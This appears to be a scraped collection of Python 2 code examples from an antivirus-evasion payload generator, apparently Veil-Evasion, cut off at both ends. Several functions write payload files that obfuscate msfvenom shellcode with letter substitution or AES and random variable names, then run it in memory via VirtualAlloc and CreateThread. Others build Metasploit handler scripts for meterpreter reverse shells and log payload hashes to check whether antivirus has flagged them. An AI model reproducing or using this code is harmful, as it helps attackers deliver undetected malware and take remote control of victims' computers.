        # hash with VTNotify to detect if it's been flagged
        try:
            CompiledHashFile = settings.HASH_LIST
            HashFile = open(CompiledHashFile, 'a')
            OutputFile = open(OutputFileName, 'rb')
            Sha1Hasher = hashlib.sha1()
            Sha1Hasher.update(OutputFile.read())
            SHA1Hash = Sha1Hasher.hexdigest()
            OutputFile.close()
            HashFile.write(SHA1Hash + ":" + FinalBaseChoice + "\n")
            HashFile.close()

            # print the full message containing generation notes
            print message

            # print the end message
            messages.endmsg()
        except:
            # if that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated
            print helpers.color(
                "\n [!] Internal error #2. Unable to generate output. Please run %s manually\n"
                % (os.path.abspath("./config/update.py")),
                warning=True)

        if interactive:
            raw_input(" [>] Press any key to return to the main menu.")
            print ""
            self.MainMenu(showMessage=True)

        return OutputFileName
Esempio n. 11
0
def pyLetterSubVAlloc():
    # Generate Shellcode Using msfvenom
    Shellcode = shellcode.genShellcode()

    # Generate Random Variable Names
    SubbedShellcodeVariableName = randomizer.randomString()
    ShellcodeVariableName = randomizer.randomString()
    RandPtr = randomizer.randomString()
    RandBuf = randomizer.randomString()
    RandHt = randomizer.randomString()
    RandDecodedLetter = randomizer.randomString()
    RandCorrectLetter = randomizer.randomString()
    RandSubScheme = randomizer.randomString()

    # Letter Substitution Variables
    EncodeWithThis = "c"
    DecodeWithThis = "t"

    # Create Letter Substitution Scheme
    SubScheme = string.maketrans(EncodeWithThis, DecodeWithThis)

    # Escaping Shellcode
    Shellcode = Shellcode.encode("string_escape")

    # Create Payload File
    PayloadFile = open('payload.py', 'w')
    PayloadFile.write('#!/usr/bin/python\n\n')
    PayloadFile.write('import ctypes\n')
    PayloadFile.write('from string import maketrans\n\n')
    PayloadFile.write(RandDecodedLetter + ' = "t"\n')
    PayloadFile.write(RandCorrectLetter + ' = "c"\n\n')
    PayloadFile.write(RandSubScheme + ' = maketrans(' + RandDecodedLetter +
                      ', ' + RandCorrectLetter + ')\n\n')
    PayloadFile.write(SubbedShellcodeVariableName + ' = \"' +
                      Shellcode.translate(SubScheme) + '\"\n\n')
    PayloadFile.write(SubbedShellcodeVariableName + ' = ' +
                      SubbedShellcodeVariableName + '.translate(' +
                      RandSubScheme + ')\n')
    PayloadFile.write(ShellcodeVariableName + ' = bytearray(' +
                      SubbedShellcodeVariableName +
                      '.decode(\"string_escape\"))\n\n')
    PayloadFile.write(
        RandPtr +
        ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('
        + ShellcodeVariableName +
        ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n')
    PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' +
                      ShellcodeVariableName + ')).from_buffer(' +
                      ShellcodeVariableName + ')\n\n')
    PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' +
                      RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' +
                      ShellcodeVariableName + ')))\n\n')
    PayloadFile.write(
        RandHt +
        ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int('
        + RandPtr +
        '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n'
    )
    PayloadFile.write(
        'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt +
        '),ctypes.c_int(-1))')
    PayloadFile.close()

    # Create Supporting Files and Print Exit Message
    supportfiles.supportingFiles()
    messages.endmsg()
Esempio n. 12
0
    def OutputMenu(self, payload, code, showTitle=True, interactive=True, OutputBaseChoice=""):
        """
		Write a chunk of payload code to a specified ouput file base.
		
		code = the source code to write
		OutputBaseChoice = "payload" or user specified string
		
		Returns the full name the source was written to.
		"""

        # if we get .exe code back, output to the compiled folder, otherwise write to the source folder
        if payload.extension == "exe":
            outputFolder = veil.PAYLOAD_COMPILED_PATH
        else:
            outputFolder = veil.PAYLOAD_SOURCE_PATH

            # only show get input if we're doing the interactive menu
        if interactive:
            if showTitle:
                messages.title()

                # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe)
            print " [*] Press [enter] for 'payload'"
            OutputBaseChoice = raw_input(" [>] Please enter the base name for output files: ")

        if OutputBaseChoice == "":
            OutputBaseChoice = "payload"

        # set the output name to /outout/source/BASENAME.EXT
        OutputFileName = outputFolder + OutputBaseChoice + "." + payload.extension

        # as long as the file exists, increment a counter to add to the filename
        # i.e. "payload3.py", to make sure we don't overwrite anything
        x = 1
        while os.path.isfile(OutputFileName):
            OutputFileName = outputFolder + OutputBaseChoice + str(x) + "." + payload.extension
            x += 1
        OutputFile = open(OutputFileName, "w")
        OutputFile.write(code)
        OutputFile.close()

        # start building the information string for the generated payload
        message = "\n Language:\t\t" + helpers.color(payload.language) + "\n Payload:\t\t" + payload.shortname

        if hasattr(payload, "shellcode"):
            # check if msfvenom was used or something custom, print appropriately
            if payload.shellcode.customshellcode != "":
                message += "\n Shellcode:\t\tcustom"
            else:
                message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload

                # print out any msfvenom options we used in shellcode generation if specified
            if len(payload.shellcode.options) > 0:
                message += "\n Options:\t\t"
                parts = ""
                for option in payload.shellcode.options:
                    parts += " " + option + " "
                message += parts.strip()

                # if required options were specified, output them
        if hasattr(payload, "required_options"):
            message += "\n Required Options:\t"
            t = ""
            # sort the dictionary by key before we output, so it looks nice
            for key in sorted(payload.required_options.iterkeys()):
                t += " " + key + "=" + payload.required_options[key][0] + " "
            message += t.strip()

        message += "\n Source File:\t\t" + OutputFileName + "\n"

        # print out notes if set
        if hasattr(payload, "notes"):
            message += " Notes:\t\t\t" + payload.notes

            # check if compile_to_exe is in the required options, if so,
            # call supportfiles.supportingFiles() to compile appropriately
        if hasattr(self.payload, "required_options"):
            if "compile_to_exe" in self.payload.required_options:
                value = self.payload.required_options["compile_to_exe"][0].lower()[0]
                if value == "y" or value == True:
                    if interactive:
                        supportfiles.supportingFiles(self.payload.language, OutputFileName, {})
                    else:
                        supportfiles.supportingFiles(self.payload.language, OutputFileName, {"method": "pyinstaller"})

                        # print the full message containing generation notes
        print message

        # print the end message
        messages.endmsg()

        if interactive:
            raw_input(" [>] press any key to return to the main menu: ")
            self.MainMenu(showMessage=True)
Esempio n. 13
0
	def OutputMenu(self, payload, code, showTitle=True, interactive=True, OutputBaseChoice=""):
		"""
		Write a chunk of payload code to a specified ouput file base.
		
		code = the source code to write
		OutputBaseChoice = "payload" or user specified string
		
		Returns the full name the source was written to.
		"""
		
		# if we get .exe code back, output to the compiled folder, otherwise write to the source folder
		if payload.extension == "exe":
			outputFolder = veil.PAYLOAD_COMPILED_PATH
		else:
			outputFolder = veil.PAYLOAD_SOURCE_PATH
		
		# only show get input if we're doing the interactive menu
		if interactive:
			if showTitle:
				messages.title()
			
			# Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe)
			print " [*] Press [enter] for 'payload'"
			OutputBaseChoice = raw_input(" [>] Please enter the base name for output files: ")
		
		if OutputBaseChoice == "": OutputBaseChoice = "payload"
		
		# walk the output path and grab all the file bases, disregarding extensions
		fileBases = []
		for (dirpath, dirnames, filenames) in os.walk(outputFolder):
			fileBases.extend(list(set([x.split(".")[0] for x in filenames if x.split(".")[0] != ''])))
			break 

		# as long as the file exists, increment a counter to add to the filename
		# i.e. "payload3.py", to make sure we don't overwrite anything
		FinalBaseChoice = OutputBaseChoice
		x = 1
		while FinalBaseChoice in fileBases:
			FinalBaseChoice = OutputBaseChoice + str(x) 
			x += 1

		# set the output name to /outout/source/BASENAME.EXT
		OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension
		
		OutputFile = open(OutputFileName, 'w')
		OutputFile.write(code)
		OutputFile.close()
				
		# start building the information string for the generated payload
		message = "\n Language:\t\t"+helpers.color(payload.language)+"\n Payload:\t\t"+payload.shortname
		
		if hasattr(payload, 'shellcode'):
			# check if msfvenom was used or something custom, print appropriately
			if payload.shellcode.customshellcode != "":
				message += "\n Shellcode:\t\tcustom"
			else:
				message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload
			
			# print out any msfvenom options we used in shellcode generation if specified
			if len(payload.shellcode.options) > 0:
				message += "\n Options:\t\t"
				parts = ""
				for option in payload.shellcode.options:
					parts += ' ' + option + ' '
				message += parts.strip()

			# reset the internal shellcode state the options don't persist
			payload.shellcode.Reset()

		# if required options were specified, output them
		if hasattr(payload, 'required_options'):
			message += "\n Required Options:\t"
			t = ""
			# sort the dictionary by key before we output, so it looks nice
			for key in sorted(payload.required_options.iterkeys()):
				t += " " + key + "=" + payload.required_options[key][0] + " "
			message += t.strip()

		message += "\n Source File:\t\t"+OutputFileName + "\n"
		
		# print out notes if set
		if hasattr(payload, 'notes'):
			#message += " Notes:\t\t\t" + payload.notes
			message += helpers.formatLong("Notes:", payload.notes, frontTab=False, spacing=24)

		message += "\n"

		# check if compile_to_exe is in the required options, if so,
		# call supportfiles.supportingFiles() to compile appropriately
		if hasattr(self.payload, 'required_options'):
			if "compile_to_exe" in self.payload.required_options:
				value = self.payload.required_options['compile_to_exe'][0].lower()[0]
				if value == "y" or value==True:
					if interactive:
						supportfiles.supportingFiles(self.payload.language, OutputFileName, {})
					else:
						supportfiles.supportingFiles(self.payload.language, OutputFileName, {'method':'pyinstaller'})

					# if we're compiling, set the returned file name to the output .exe
					# so we can return this for external calls to the framework
					OutputFileName = veil.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe"

		# print the full message containing generation notes
		print message
				
		# print the end message
		messages.endmsg()

		if interactive:
			raw_input(" [>] press any key to return to the main menu: ")
			#self.MainMenu(showMessage=True)

		return OutputFileName
Esempio n. 14
0
    def OutputMenu(self, payload, code, showTitle=True, interactive=True, OutputBaseChoice=""):
        """
        Write a chunk of payload code to a specified ouput file base.
        Also outputs a handler script if required from the options.

        code = the source code to write
        OutputBaseChoice = "payload" or user specified string

        Returns the full name the source was written to.
        """

        # if we get .exe code back, output to the compiled folder, otherwise write to the source folder
        if payload.extension == "exe":
            outputFolder = settings.PAYLOAD_COMPILED_PATH
        else:
            outputFolder = settings.PAYLOAD_SOURCE_PATH

        # only show get input if we're doing the interactive menu
        if interactive:
            if showTitle:
                messages.title()

            # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe)
            print " [*] Press [enter] for 'payload'"
            OutputBaseChoice = raw_input(" [>] Please enter the base name for output files: ")

        if OutputBaseChoice == "": OutputBaseChoice = "payload"

        # walk the output path and grab all the file bases, disregarding extensions
        fileBases = []
        for (dirpath, dirnames, filenames) in os.walk(outputFolder):
            fileBases.extend(list(set([x.split(".")[0] for x in filenames if x.split(".")[0] != ''])))
            break

        # as long as the file exists, increment a counter to add to the filename
        # i.e. "payload3.py", to make sure we don't overwrite anything
        FinalBaseChoice = OutputBaseChoice
        x = 1
        while FinalBaseChoice in fileBases:
            FinalBaseChoice = OutputBaseChoice + str(x)
            x += 1

        # set the output name to /outout/source/BASENAME.EXT
        OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension

        OutputFile = open(OutputFileName, 'w')
        OutputFile.write(code)
        OutputFile.close()

        # start building the information string for the generated payload
        message = "\n Language:\t\t"+helpers.color(payload.language)+"\n Payload:\t\t"+payload.shortname

        if hasattr(payload, 'shellcode'):
            # check if msfvenom was used or something custom, print appropriately
            if payload.shellcode.customshellcode != "":
                message += "\n Shellcode:\t\tcustom"
            else:
                message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload

                # if the shellcode wasn't custom, build out a handler script
                handler = "use exploit/multi/handler\n"
                handler += "set PAYLOAD " + payload.shellcode.msfvenompayload + "\n"
                handler += "set LHOST 0.0.0.0\n"
                
                # extract LPORT if it's there
                p = re.compile('LPORT=(.*?) ')
                parts = p.findall(payload.shellcode.msfvenomCommand)
                if len(parts) > 0:
                    handler += "set LPORT " + parts[0] + "\n"

                handler += "set ExitOnSession false\n"
                handler += "set AutoRunScript post/windows/manage/migrate\n"
                handler += "exploit -j\n"

            # print out any msfvenom options we used in shellcode generation if specified
            if len(payload.shellcode.options) > 0:
                message += "\n Options:\t\t"
                parts = ""
                for option in payload.shellcode.options:
                    parts += ' ' + option + ' '
                message += parts.strip()

            # reset the internal shellcode state the options don't persist
            payload.shellcode.Reset()

        # if required options were specified, output them
        if hasattr(payload, 'required_options'):
            message += "\n Required Options:\t"
            t = ""
            # sort the dictionary by key before we output, so it looks nice
            for key in sorted(payload.required_options.iterkeys()):
                t += " " + key + "=" + payload.required_options[key][0] + " "
            message += t.strip()

            # check if any options specify that we should build a handler out
            keys = payload.required_options.keys()

            if "LHOST" in keys:

                handler = "use exploit/multi/handler\n"
                # do our best to determine the payload type

                # handle options from the backdoor factory
                if "payload" in keys:
                    p = payload.required_options["payload"][0]
                    if "tcp" in p:
                        handler += "set PAYLOAD windows/meterpreter/reverse_tcp\n"
                    elif "https" in p:
                        handler += "set PAYLOAD windows/meterpreter/reverse_https\n"
                    elif "shell" in  p:
                        handler += "set PAYLOAD windows/shell_reverse_tcp\n"
                    else: pass

                # if not BDF, try to extract the handler type from the payload name
                else:
                    if "tcp" in payload.shortname.lower():
                        handler += "set PAYLOAD windows/meterpreter/reverse_tcp\n"
                    elif "https" in payload.shortname.lower():
                        handler += "set PAYLOAD windows/meterpreter/reverse_https\n"
                    elif "http" in payload.shortname.lower():
                        handler += "set PAYLOAD windows/meterpreter/reverse_https\n"
                    else: pass

                handler += "set LHOST 0.0.0.0\n"

                if "LPORT" in keys:
                    handler += "set LPORT " + payload.required_options["LPORT"][0] + "\n"

                handler += "set ExitOnSession false\n"
                handler += "set AutoRunScript post/windows/manage/migrate\n"
                handler += "exploit -j\n"


        message += "\n Payload File:\t\t"+OutputFileName + "\n"

        # if we're generating the handler script, write it out
        try:
            if settings.GENERATE_HANDLER_SCRIPT.lower() == "true":
                handlerFileName = settings.HANDLER_PATH + FinalBaseChoice + "_handler.rc"
                handlerFile = open(handlerFileName, 'w')
                handlerFile.write(handler)
                handlerFile.close()
                message += " Handler File:\t\t"+handlerFileName + "\n"
        except:
            # is that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated
            print helpers.color("\n [!] Please run ./config/update.py !", warning=True)

        # print out notes if set
        if hasattr(payload, 'notes'):
            #message += " Notes:\t\t\t" + payload.notes
            message += helpers.formatLong("Notes:", payload.notes, frontTab=False, spacing=24)

        message += "\n"

        # check if compile_to_exe is in the required options, if so,
        # call supportfiles.supportingFiles() to compile appropriately
        if hasattr(self.payload, 'required_options'):
            if "compile_to_exe" in self.payload.required_options:
                value = self.payload.required_options['compile_to_exe'][0].lower()[0]
                if value == "y" or value==True:
                    if interactive:
                        supportfiles.supportingFiles(self.payload.language, OutputFileName, {})
                    else:
                        supportfiles.supportingFiles(self.payload.language, OutputFileName, {'method':'pyinstaller'})

                    # if we're compiling, set the returned file name to the output .exe
                    # so we can return this for external calls to the framework
                    OutputFileName = settings.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe"

        # print the full message containing generation notes
        print message

        # print the end message
        messages.endmsg()

        if interactive:
            raw_input(" [>] press any key to return to the main menu: ")
            #self.MainMenu(showMessage=True)

        return OutputFileName
Esempio n. 15
0
    def OutputMenu(self, payload, code, showTitle=True, interactive=True, OutputBaseChoice=""):
        """
        Write a chunk of payload code to a specified ouput file base.

        code = the source code to write
        OutputBaseChoice = "payload" or user specified string

        Returns the full name the source was written to.
        """

        # if we get .exe code back, output to the compiled folder, otherwise write to the source folder
        if payload.extension == "exe":
            outputFolder = settings.PAYLOAD_COMPILED_PATH
        else:
            outputFolder = settings.PAYLOAD_SOURCE_PATH

        # only show get input if we're doing the interactive menu
        if interactive:
            if showTitle:
                messages.title()

            # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe)
            print " [*] Press [enter] for 'payload'"
            OutputBaseChoice = raw_input(" [>] Please enter the base name for output files: ")

        if OutputBaseChoice == "": OutputBaseChoice = "payload"

        # walk the output path and grab all the file bases, disregarding extensions
        fileBases = []
        for (dirpath, dirnames, filenames) in os.walk(outputFolder):
            fileBases.extend(list(set([x.split(".")[0] for x in filenames if x.split(".")[0] != ''])))
            break

        # as long as the file exists, increment a counter to add to the filename
        # i.e. "payload3.py", to make sure we don't overwrite anything
        FinalBaseChoice = OutputBaseChoice
        x = 1
        while FinalBaseChoice in fileBases:
            FinalBaseChoice = OutputBaseChoice + str(x)
            x += 1

        # set the output name to /outout/source/BASENAME.EXT
        OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension

        OutputFile = open(OutputFileName, 'w')
        OutputFile.write(code)
        OutputFile.close()

        # start building the information string for the generated payload
        message = "\n Language:\t\t"+helpers.color(payload.language)+"\n Payload:\t\t"+payload.shortname

        if hasattr(payload, 'shellcode'):
            # check if msfvenom was used or something custom, print appropriately
            if payload.shellcode.customshellcode != "":
                message += "\n Shellcode:\t\tcustom"
            else:
                message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload

            # print out any msfvenom options we used in shellcode generation if specified
            if len(payload.shellcode.options) > 0:
                message += "\n Options:\t\t"
                parts = ""
                for option in payload.shellcode.options:
                    parts += ' ' + option + ' '
                message += parts.strip()

            # reset the internal shellcode state the options don't persist
            payload.shellcode.Reset()

        # if required options were specified, output them
        if hasattr(payload, 'required_options'):
            message += "\n Required Options:\t"
            t = ""
            # sort the dictionary by key before we output, so it looks nice
            for key in sorted(payload.required_options.iterkeys()):
                t += " " + key + "=" + payload.required_options[key][0] + " "
            message += t.strip()

        message += "\n Source File:\t\t"+OutputFileName + "\n"

        # print out notes if set
        if hasattr(payload, 'notes'):
            #message += " Notes:\t\t\t" + payload.notes
            message += helpers.formatLong("Notes:", payload.notes, frontTab=False, spacing=24)

        message += "\n"

        # check if compile_to_exe is in the required options, if so,
        # call supportfiles.supportingFiles() to compile appropriately
        if hasattr(self.payload, 'required_options'):
            if "compile_to_exe" in self.payload.required_options:
                value = self.payload.required_options['compile_to_exe'][0].lower()[0]
                if value == "y" or value==True:
                    if interactive:
                        supportfiles.supportingFiles(self.payload.language, OutputFileName, {})
                    else:
                        supportfiles.supportingFiles(self.payload.language, OutputFileName, {'method':'pyinstaller'})

                    # if we're compiling, set the returned file name to the output .exe
                    # so we can return this for external calls to the framework
                    OutputFileName = settings.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe"

        # print the full message containing generation notes
        print message

        # print the end message
        messages.endmsg()

        if interactive:
            raw_input(" [>] press any key to return to the main menu: ")
            #self.MainMenu(showMessage=True)

        return OutputFileName
Esempio n. 16
0
    def OutputMenu(self, payload, code, showTitle=True, interactive=True, args=None):
        """
        Write a chunk of payload code to a specified ouput file base.
        Also outputs a handler script if required from the options.

        code = the source code to write
        OutputBaseChoice = "payload" or user specified string

        Returns the full name the source was written to.
        """

        OutputBaseChoice = ""
        overwrite = False

        # if we have arguments passed, extract out the values we want
        if args:
            OutputBaseChoice = args.o
            overwrite = args.overwrite

        # if we get .exe or ELF (with no base) code back, output to the compiled folder, otherwise write to the source folder
        if payload.extension == "exe" or payload.extension == "war":
            outputFolder = settings.PAYLOAD_COMPILED_PATH
        # Check for ELF binary
        elif hasattr(payload, "type") and payload.type == "ELF":
            outputFolder = settings.PAYLOAD_COMPILED_PATH
        else:
            outputFolder = settings.PAYLOAD_SOURCE_PATH

        # only show get input if we're doing the interactive menu
        if interactive:
            if showTitle:
                if settings.TERMINAL_CLEAR != "false":
                    messages.title()

            # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe)
            OutputBaseChoice = raw_input("\n [>] Please enter the base name for output files (default is 'payload'): ")

            # ensure we get a base name and not a full path
            while OutputBaseChoice != "" and "/" in OutputBaseChoice:
                print helpers.color(" [!] Please provide a base name, not a path, for the output base", warning=True)
                OutputBaseChoice = raw_input(
                    "\n [>] Please enter the base name for output files (default is 'payload'): "
                )

        # for invalid output base choices that are passed by arguments
        else:
            if "/" in OutputBaseChoice:
                print helpers.color(" [!] Please provide a base name, not a path, for the output base", warning=True)
                print helpers.color(" [!] Defaulting to 'payload' for output base...", warning=True)
                OutputBaseChoice = "payload"

        if OutputBaseChoice == "":
            OutputBaseChoice = "payload"

        # if we are overwriting, this is the base choice used
        FinalBaseChoice = OutputBaseChoice

        # if we're not overwriting output files, walk the existing and increment
        if not overwrite:
            # walk the output path and grab all the file bases, disregarding extensions
            fileBases = []
            for (dirpath, dirnames, filenames) in os.walk(outputFolder):
                fileBases.extend(list(set([x.split(".")[0] for x in filenames if x.split(".")[0] != ""])))
                break

            # as long as the file exists, increment a counter to add to the filename
            # i.e. "payload3.py", to make sure we don't overwrite anything
            FinalBaseChoice = OutputBaseChoice
            x = 1
            while FinalBaseChoice in fileBases:
                FinalBaseChoice = OutputBaseChoice + str(x)
                x += 1

        # set the output name to /outout/source/BASENAME.EXT unless it is an ELF then no extension
        if hasattr(payload, "type") and payload.type == "ELF":
            OutputFileName = outputFolder + FinalBaseChoice + payload.extension
        else:
            OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension

        OutputFile = open(OutputFileName, "w")
        OutputFile.write(code)
        OutputFile.close()

        # start building the information string for the generated payload
        # extract the payload class name from the instantiated object, then chop off the load folder prefix
        payloadname = "/".join(
            str(str(payload.__class__)[str(payload.__class__).find("payloads") :]).split(".")[0].split("/")[1:]
        )
        message = "\n Language:\t\t" + helpers.color(payload.language) + "\n Payload:\t\t" + payloadname
        handler = ""

        if hasattr(payload, "shellcode"):
            # check if msfvenom was used or something custom, print appropriately
            if payload.shellcode.customshellcode != "":
                message += "\n Shellcode:\t\tcustom"
            else:
                message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload

                # if the shellcode wasn't custom, build out a handler script
                handler = "use exploit/multi/handler\n"
                handler += "set PAYLOAD " + payload.shellcode.msfvenompayload + "\n"

                # extract LHOST if it's there
                p = re.compile("LHOST=(.*?) ")
                parts = p.findall(payload.shellcode.msfvenomCommand)
                if len(parts) > 0:
                    handler += "set LHOST " + parts[0] + "\n"
                else:
                    # try to extract this local IP
                    handler += "set LHOST " + helpers.LHOST() + "\n"

                # extract LPORT if it's there
                p = re.compile("LPORT=(.*?) ")
                parts = p.findall(payload.shellcode.msfvenomCommand)
                if len(parts) > 0:
                    handler += "set LPORT " + parts[0] + "\n"

                # Removed autoscript smart migrate due to users on forum saying that migrate itself caused detection
                # in an otherwise undetectable (at the time) payload
                handler += "set ExitOnSession false\n"
                handler += "exploit -j\n"

            # print out any msfvenom options we used in shellcode generation if specified
            if len(payload.shellcode.options) > 0:
                message += "\n Options:\t\t"
                parts = ""
                for option in payload.shellcode.options:
                    parts += " " + option + " "
                message += parts.strip()

            # reset the internal shellcode state the options don't persist
            payload.shellcode.Reset()

        # if required options were specified, output them
        if hasattr(payload, "required_options"):
            t = ""
            # sort the dictionary by key before we output, so it looks nice
            for key in sorted(payload.required_options.iterkeys()):
                t += " " + key + "=" + payload.required_options[key][0] + " "
            message += "\n" + helpers.formatLong("Required Options:", t.strip(), frontTab=False, spacing=24)

            # check if any options specify that we should build a handler out
            keys = payload.required_options.keys()

            # assuming if LHOST is set, we need a handler script
            if "LHOST" in keys or "RHOST" in keys:

                handler = "use exploit/multi/handler\n"
                # do our best to determine the payload type

                architecture = ""
                if hasattr(payload, "architecture") and payload.architecture == "64":
                    architecture = "x64/"

                # handle options from the backdoor factory
                if "payload" in keys:
                    p = payload.required_options["payload"][0]

                    if "rev_tcp" in p:
                        handler += "set PAYLOAD windows/%smeterpreter/reverse_tcp\n" % architecture
                    elif "bind_tcp" in p:
                        handler += "set PAYLOAD windows/%smeterpreter/bind_tcp\n" % architecture
                    elif "https" in p:
                        handler += "set PAYLOAD windows/%smeterpreter/reverse_https\n" % architecture
                    elif "shell" in p:
                        handler += "set PAYLOAD windows/%sshell_reverse_tcp\n" % architecture
                    else:
                        pass

                # if not BDF, try to extract the handler type from the payload name
                else:
                    # extract the payload class name from the instantiated object, then chop off the load folder prefix
                    payloadname = "/".join(
                        str(str(payload.__class__)[str(payload.__class__).find("payloads") :])
                        .split(".")[0]
                        .split("/")[1:]
                    )

                    # pure rev_tcp stager
                    if "rev_tcp" in payloadname.lower():
                        handler += "set PAYLOAD windows/%smeterpreter/reverse_tcp\n" % architecture
                    # pure bind_tcp stager
                    elif "bind_tcp" in payloadname.lower():
                        handler += "set PAYLOAD windows/%smeterpreter/bind_tcp\n" % architecture
                    # pure rev_https stager
                    elif "https" in payloadname.lower():
                        handler += "set PAYLOAD windows/%smeterpreter/reverse_https\n" % architecture
                    # pure rev_http stager
                    elif "http" in payloadname.lower():
                        handler += "set PAYLOAD windows/%smeterpreter/reverse_http\n" % architecture
                    else:
                        pass

                # grab the LHOST value
                if "LHOST" in keys:
                    handler += "set LHOST " + payload.required_options["LHOST"][0] + "\n"
                if "RHOST" in keys:
                    handler += "set RHOST " + payload.required_options["RHOST"][0] + "\n"

                # grab the LPORT value if it was set
                if "LPORT" in keys:
                    handler += "set LPORT " + payload.required_options["LPORT"][0] + "\n"

                # grab the LURI value if it was set. ignore the / as that is the default
                if "LURI" in keys and payload.required_options["LURI"][0] != "/":
                    handler += "set LURI " + payload.required_options["LURI"][0] + "\n"

                handler += "set ExitOnSession false\n"
                handler += "exploit -j\n"

        message += "\n Payload File:\t\t" + OutputFileName + "\n"

        # if we're generating the handler script, write it out
        try:
            if settings.GENERATE_HANDLER_SCRIPT.lower() == "true":
                if handler != "":
                    handlerFileName = settings.HANDLER_PATH + FinalBaseChoice + "_handler.rc"
                    handlerFile = open(handlerFileName, "w")
                    handlerFile.write(handler)
                    handlerFile.close()
                    message += " Handler File:\t\t" + handlerFileName + "\n"
        except:
            # is that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated
            print helpers.color(
                "\n [!] Internal error #1. Please run %s manually\n" % (os.path.abspath("./config/update.py")),
                warning=True,
            )

        # print out notes if set
        if hasattr(payload, "notes"):
            # message += " Notes:\t\t\t" + payload.notes
            message += helpers.formatLong("Notes:", payload.notes, frontTab=False, spacing=24)

        # check if compile_to_exe is in the required options, if so,
        # call supportfiles.supportingFiles() to compile appropriately
        if hasattr(self.payload, "required_options") and self.payload.language.lower() != "powershell":
            if "COMPILE_TO_EXE" in self.payload.required_options:
                value = self.payload.required_options["COMPILE_TO_EXE"][0].lower()[0]

                if value == "y" or value == True:

                    # check if the --pwnstaller flag was passed
                    if args and args.pwnstaller:
                        supportfiles.supportingFiles(self.payload, OutputFileName, {"method": "pwnstaller"})
                    else:
                        # if interactive, allow the user to choose the method
                        if interactive:
                            supportfiles.supportingFiles(self.payload, OutputFileName, {})
                        # otherwise specify the default, pyinstaller
                        else:
                            supportfiles.supportingFiles(self.payload, OutputFileName, {"method": "pyinstaller"})

                    # if we're compiling, set the returned file name to the output .exe
                    # so we can return this for external calls to the framework
                    OutputFileName = settings.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe"

        # This block of code is going to be used to SHA1 hash our compiled payloads to potentially submit the
        # hash with VTNotify to detect if it's been flagged
        try:
            CompiledHashFile = settings.HASH_LIST
            HashFile = open(CompiledHashFile, "a")
            OutputFile = open(OutputFileName, "rb")
            Sha1Hasher = hashlib.sha1()
            Sha1Hasher.update(OutputFile.read())
            SHA1Hash = Sha1Hasher.hexdigest()
            OutputFile.close()
            HashFile.write(SHA1Hash + ":" + FinalBaseChoice + "\n")
            HashFile.close()

            # print the full message containing generation notes
            print message

            # print the end message
            messages.endmsg()
        except:
            # if that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated
            print helpers.color(
                "\n [!] Internal error #2. Unable to generate output. Please run %s manually\n"
                % (os.path.abspath("./config/update.py")),
                warning=True,
            )

        if interactive:
            raw_input(" [>] Press any key to return to the main menu.")
            print ""
            self.MainMenu(showMessage=True)

        return OutputFileName
Esempio n. 17
0
def pyAESVAlloc():
    # Generate Shellcode Using msfvenom
    Shellcode = shellcode.genShellcode()

    # Generate Random Variable Names
    ShellcodeVariableName = randomizer.randomString()
    RandPtr = randomizer.randomString()
    RandBuf = randomizer.randomString()
    RandHt = randomizer.randomString()
    RandDecodeAES = randomizer.randomString()
    RandCipherObject = randomizer.randomString()
    RandDecodedShellcode = randomizer.randomString()
    RandShellCode = randomizer.randomString()
    RandPadding = randomizer.randomString()

    # Set AES Block Size and Padding
    BlockSize = 32
    Padding = '{'

    # Function for Padding Encrypted Text to Fit the Block
    pad = lambda s: s + (BlockSize - len(s) % BlockSize) * Padding

    # Encrypt & Encode or Decrypt & Decode a String
    EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
    DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(Padding)

    # Generate Random AES Key
    secret = aes.aesKey()

    # Create Cipher Object with Generated Secret Key
    cipher = AES.new(secret)

    # Encrypt the String
    EncodedShellcode = EncodeAES(cipher, Shellcode)

    # Create Payload File
    PayloadFile = open('payload.py', 'w')
    PayloadFile.write('#!/usr/bin/python\n\n')
    PayloadFile.write('import ctypes\n')
    PayloadFile.write('from Crypto.Cipher import AES\n')
    PayloadFile.write('import base64\n')
    PayloadFile.write('import os\n\n')
    PayloadFile.write(RandPadding + ' = \'{\'\n')
    PayloadFile.write(
        RandDecodeAES +
        ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' +
        RandPadding + ')\n')
    PayloadFile.write(RandCipherObject + ' = AES.new(\'' + secret + '\')\n')
    PayloadFile.write(RandDecodedShellcode + ' = ' + RandDecodeAES + '(' +
                      RandCipherObject + ', \'' + EncodedShellcode + '\')\n')
    PayloadFile.write(RandShellCode + ' = bytearray(' + RandDecodedShellcode +
                      '.decode("string_escape"))\n\n')
    PayloadFile.write(
        RandPtr +
